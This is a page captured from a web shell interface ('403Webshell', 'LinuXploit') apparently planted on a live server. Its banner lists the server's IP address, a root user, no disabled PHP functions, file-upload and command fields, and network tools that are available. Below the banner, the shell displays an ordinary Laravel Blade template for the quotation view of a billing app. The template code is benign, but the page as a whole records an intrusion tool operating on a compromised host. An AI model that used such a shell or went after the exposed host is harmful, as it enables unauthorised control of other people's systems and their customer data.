403Webshell
Server IP : 139.59.63.204  /  Your IP : 216.73.217.62
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu-s-1vcpu-1gb-blr1-01 6.8.0-110-generic #110-Ubuntu SMP PREEMPT_DYNAMIC Thu Mar 19 15:09:20 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/billing/resources/views/quotations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/billing/resources/views/quotations/invoice2.blade.php
@extends('layouts.weblayout')

@section('content')
    @include('layouts.sidebar')
    <!--begin::Wrapper-->
    <div class="wrapper d-flex flex-column flex-row-fluid" id="kt_wrapper">
        <!--begin::Header-->
        <div id="kt_header" class="header" data-kt-sticky="true" data-kt-sticky-name="header"
            data-kt-sticky-offset="{default: '200px', lg: '300px'}">
            <!--begin::Container-->
            <div class="container-xxl d-flex align-items-center justify-content-between" id="kt_header_container">
                <!--begin::Page title-->
                <div class="page-title d-flex flex-column align-items-start justify-content-center flex-wrap me-lg-2 pb-5 pb-lg-0"
                    data-kt-swapper="true" data-kt-swapper-mode="prepend"
                    data-kt-swapper-parent="{default: '#kt_content_container', lg: '#kt_header_container'}">
                    <!--begin::Heading-->
                    <h1 class="text-dark fw-bold my-0 fs-2">Quotation View</h1>
                    <!--end::Heading-->
                    <!--begin::Breadcrumb-->
                    <ul class="breadcrumb breadcrumb-line text-muted fw-bold fs-base my-1">
                        <li class="breadcrumb-item text-muted">
                            <a href="{{ route('home') }}" class="text-muted">Dashboard</a>
                        </li>
                        <li class="breadcrumb-item text-dark">Quotation View</li>
                    </ul>
                    <!--end::Breadcrumb-->
                </div>
                <!--end::Page title=-->

                <!--begin::Wrapper-->
                <div class="d-flex d-lg-none align-items-center ms-n2 me-2">
                    <!--begin::Aside mobile toggle-->
                    <div class="btn btn-icon btn-active-icon-primary" id="kt_aside_toggle">
                        <!--begin::Svg Icon | path: icons/duotune/abstract/abs015.svg-->
                        <span class="svg-icon svg-icon-2x">
                            <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"
                                fill="none">
                                <path
                                    d="M21 7H3C2.4 7 2 6.6 2 6V4C2 3.4 2.4 3 3 3H21C21.6 3 22 3.4 22 4V6C22 6.6 21.6 7 21 7Z"
                                    fill="black" />
                                <path opacity="0.3"
                                    d="M21 14H3C2.4 14 2 13.6 2 13V11C2 10.4 2.4 10 3 10H21C21.6 10 22 10.4 22 11V13C22 13.6 21.6 14 21 14ZM22 20V18C22 17.4 21.6 17 21 17H3C2.4 17 2 17.4 2 18V20C2 20.6 2.4 21 3 21H21C21.6 21 22 20.6 22 20Z"
                                    fill="black" />
                            </svg>
                        </span>
                        <!--end::Svg Icon-->
                    </div>
                    <!--end::Aside mobile toggle-->
                    <!--begin::Logo-->
                    <a href="{{ route('home') }}" class="d-flex align-items-center">
                        <img alt="Logo" src="assets/media/logos/logo-default.svg" class="h-40px" />
                    </a>
                    <!--end::Logo-->
                </div>
                <!--end::Wrapper-->
                <!--begin::Toolbar wrapper-->
                <div class="d-flex flex-shrink-0">

                </div>
                <!--end::Toolbar wrapper-->
            </div>
            <!--end::Container-->
        </div>
        <!--end::Header-->
        <!--begin::Content-->
        <div class="content d-flex flex-column flex-column-fluid" id="kt_content">
            <!--begin::Container-->
            <div class="container-xxl" id="kt_content_container">

                <!--begin::details View-->
                <div class="card mb-5 mb-xl-10" id="kt_profile_details_view">
                    <!--begin::Card header-->
                    <div class="card-header cursor-pointer">
                        <!--begin::Card title-->
                        <div class="card-title m-0">
                            <h3 class="fw-bolder m-0">Quotation View</h3>
                        </div>
                        <!--end::Card title-->

                    </div>
                    <!--begin::Card header-->
                    <!--begin::Card body-->
                    <div class="card-body p-9">
                        <div class="mb-0">
                                   <!--begin::Head-->
                        <div class="d-flex flex-stack flex-wrap mb-10 mb-lg-15">
                            <!--begin::Logo-->
                            <a href="#">
                                @if (!empty(auth()->user()->logo))
                                    <img alt="Logo" class="h-50px" src="{{ asset(auth()->user()->logo) }}" />
                                @endif
                            </a>
                            <!--end::Logo-->
                            <!--begin::Actions-->
                            <div class="my-2">
                                <a href="{{ route('quotation.pdfview', $quotation->id) }}"
                                    class="btn btn-sm btn-light me-2 ">Download </a>
                                <a href="#" class="btn btn-sm btn-success me-2" onclick="window.print()">Print</a>

                            </div>
                            <!--end::Actions-->
                        </div>
                        <!--end::Head-->
                            <!--begin::Label-->
                            <div class="fw-bolder fs-3 text-gray-800 mb-8">Quote #{{ $quotation->inv_id }}</div>
                            <!--end::Label-->
                            <!--begin::Row-->
                            <div class="row g-5 mb-11">
                                <!--end::Col-->
                                <div class="col-sm-6">
                                    <!--end::Label-->
                                    <div class="fw-bold fs-7 text-gray-600 mb-1">Issue Date:</div>
                                    <!--end::Label-->
                                    <!--end::Col-->
                                    <div class="fw-bolder fs-6 text-gray-800">{{ $quotation->created_at->format('d M Y') }}
                                    </div>
                                    <!--end::Col-->
                                </div>
                                <!--end::Col-->
                                <div class="col-sm-6">
                                    <!--end::Label-->
                                    <div class="fw-bold fs-7 text-gray-600 mb-1"></div>
                                    <!--end::Label-->
                                    <!--end::Text-->
                                    <div class="fw-bolder fs-6 text-gray-800">{{auth()->user()->business}}</div>
                                    <!--end::Text-->
                                    <!--end::Description-->
                                    @if(!empty(auth()->user()->address))
                                    <div style="color: #7E8299 !important;font-weight: 500 !important;font-size: 0.95rem !important;margin-bottom: 0.25rem !important;">{{auth()->user()->address}} <br />
                                        {{auth()->user()->city}}, {{auth()->user()->state}},
                                        {{auth()->user()->country}}, {{auth()->user()->pin}}
                                    </div>
                                    @endif
                                    <!--end::Description-->
                                </div>
                                <!--end::Col-->
                            </div>
                            <!--end::Row-->
                            <!--begin::Row-->
                            <div class="row g-5 mb-12">
                                <!--end::Col-->
                                <!--end::Col-->
                                <div class="col-sm-6">
                                    <!--end::Label-->
                                    <div class="fw-bold fs-7 text-gray-600 mb-1">Billed To:</div>
                                    <!--end::Label-->
                                    <!--end::Text-->
                                    <div class="fw-bolder fs-6 text-gray-800">
                                        {{ $quotation->customers->firstname . ' ' . $quotation->customers->lastname }}</div>
                                    <!--end::Text-->
                                    <!--end::Description-->
                                    <div class="fw-bold fs-7 text-gray-600">{{ $quotation->billing_address }}<br />
                                        {{ $quotation->billing_city }},{{ $quotation->billing_state }},{{ $quotation->billing_country }},{{ $quotation->billing_pin }}
                                    </div>
                                    <!--end::Description-->
                                </div>
                                <!--end::Col-->
                                <!--end::Col-->
                                <div class="col-sm-6">
                                    <!--end::Label-->
                                    <div class="fw-bold fs-7 text-gray-600 mb-1">Shipped To:</div>
                                    <!--end::Label-->
                                    <!--end::Text-->
                                    <div class="fw-bolder fs-6 text-gray-800">
                                        {{ $quotation->customers->firstname . ' ' . $quotation->customers->lastname }}</div>
                                    <!--end::Text-->
                                    <!--end::Description-->
                                    <div class="fw-bold fs-7 text-gray-600">{{ $quotation->shipping_address }}<br />
                                        {{ $quotation->shipping_city }},{{ $quotation->shipping_state }},{{ $quotation->shipping_country }},{{ $quotation->shipping_pin }}
                                    </div>
                                    <!--end::Description-->
                                </div>
                                <!--end::Col-->
                            </div>
                            <!--end::Row-->
                            <!--begin::Content-->
                            <div class="flex-grow-1">
                                <!--begin::Table-->
                                <div class="table-responsive border-bottom mb-9">
                                    <table class="table mb-3">
                                        <thead>
                                            <tr class="border-bottom fs-6 fw-bolder text-gray-400">
                                                <th class="min-w-175px pb-2">Item</th>
                                                <th class="min-w-70px text-end pb-2">Price</th>
                                                <th class="min-w-80px text-end pb-2">Qty</th>
                                                {{-- <th class="min-w-80px text-end pb-2">GST</th> --}}
                                                <th class="min-w-100px text-end pb-2">Amount</th>
                                            </tr>
                                        </thead>
                                        <tbody>
                                            @php  $subtotal=0;  @endphp
                                            @forelse($quotation->lineItem as $item)
                                                @php $gst = auth()->user()->gst_percent;
                                                $subtotal = $item->price + $subtotal; @endphp
                                                <tr class="fw-bolder text-gray-700 fs-5 text-end">
                                                    <td class="d-flex align-items-center pt-6">
                                                        <i
                                                            class="fa fa-genderless text-danger fs-2 me-2"></i>{{ $item->product->name }}
                                                    </td>
                                                    <td class="pt-6">{{$item->product->price}}</td>
                                                    <td class="pt-6">{{ $item->qty }}</td>
                                                    {{-- <td class="pt-6">{{$gst}}%</td> --}}
                                                    <td class="pt-6 text-dark fw-boldest">{{ $item->price }}</td>
                                                </tr>
                                            @empty
                                            @endforelse

                                        </tbody>
                                    </table>
                                </div>
                                <!--end::Table-->
                                <!--begin::Container-->
                                <div class="d-flex justify-content-end">
                                    <!--begin::Section-->
                                    <div class="mw-300px">
                                        <!--begin::Item-->
                                        <div class="d-flex flex-stack mb-3">
                                            <!--begin::Accountname-->
                                            <div class="fw-bold pe-10 text-gray-600 fs-7">Subtotal:</div>
                                            <!--end::Accountname-->
                                            <!--begin::Label-->
                                            <div class="text-end fw-bolder fs-6 text-gray-800">Rs. {{ $subtotal }}
                                            </div>
                                            <!--end::Label-->
                                        </div>

                                        <!--end::Item-->
                                        <!--begin::Item-->
                                        <div class="d-flex flex-stack mb-3">
                                            <!--begin::Accountname-->
                                            <div class="fw-bold pe-10 text-gray-600 fs-7">GST[{{ $gst }}%] :
                                            </div>
                                            <!--end::Accountname-->
                                            <!--begin::Label-->
                                            <div class="text-end fw-bolder fs-6 text-gray-800">Rs.
                                                {{ Helper::taxCal($gst, $subtotal) }}</div>
                                            <!--end::Label-->
                                        </div>
                                        <!--end::Item-->
                                        <!--begin::Item-->
                                        <div class="d-flex flex-stack mb-3">
                                            <!--begin::Accountnumber-->
                                            <div class="fw-bold pe-10 text-gray-600 fs-7">Subtotal + GST :</div>
                                            <!--end::Accountnumber-->
                                            <!--begin::Number-->
                                            <div class="text-end fw-bolder fs-6 text-gray-800">Rs.
                                                {{ !empty($gst) ? Helper::totalPrice($gst, $subtotal, 1) : $subtotal }}</div>
                                            <!--end::Number-->
                                        </div>
                                        <!--end::Item-->
                                          <!--begin::Item-->
                                          <div class="d-flex flex-stack mb-3">
                                            <!--begin::Accountnumber-->
                                            <div class="fw-bold pe-10 text-gray-600 fs-7">Total  :</div>
                                            <!--end::Accountnumber-->
                                            <!--begin::Number-->
                                            <div class="text-end fw-bolder fs-6 text-gray-800">Rs.
                                                {{ !empty($gst) ? Helper::totalPrice($gst, $subtotal, 1) : $subtotal }}</div>
                                            <!--end::Number-->
                                        </div>
                                        <!--end::Item-->
                                    </div>
                                    <!--end::Section-->
                                </div>
                                <!--end::Container-->
                            </div>
                            <!--end::Content-->
                        </div>

                    </div>
                    <!--end::Container-->
                </div>
                <!--end::Content-->
                @include('layouts.footer')
            </div>
            <!--end::Wrapper-->
        @endsection

Youez - 2016 - github.com/yon3zu
LinuXploit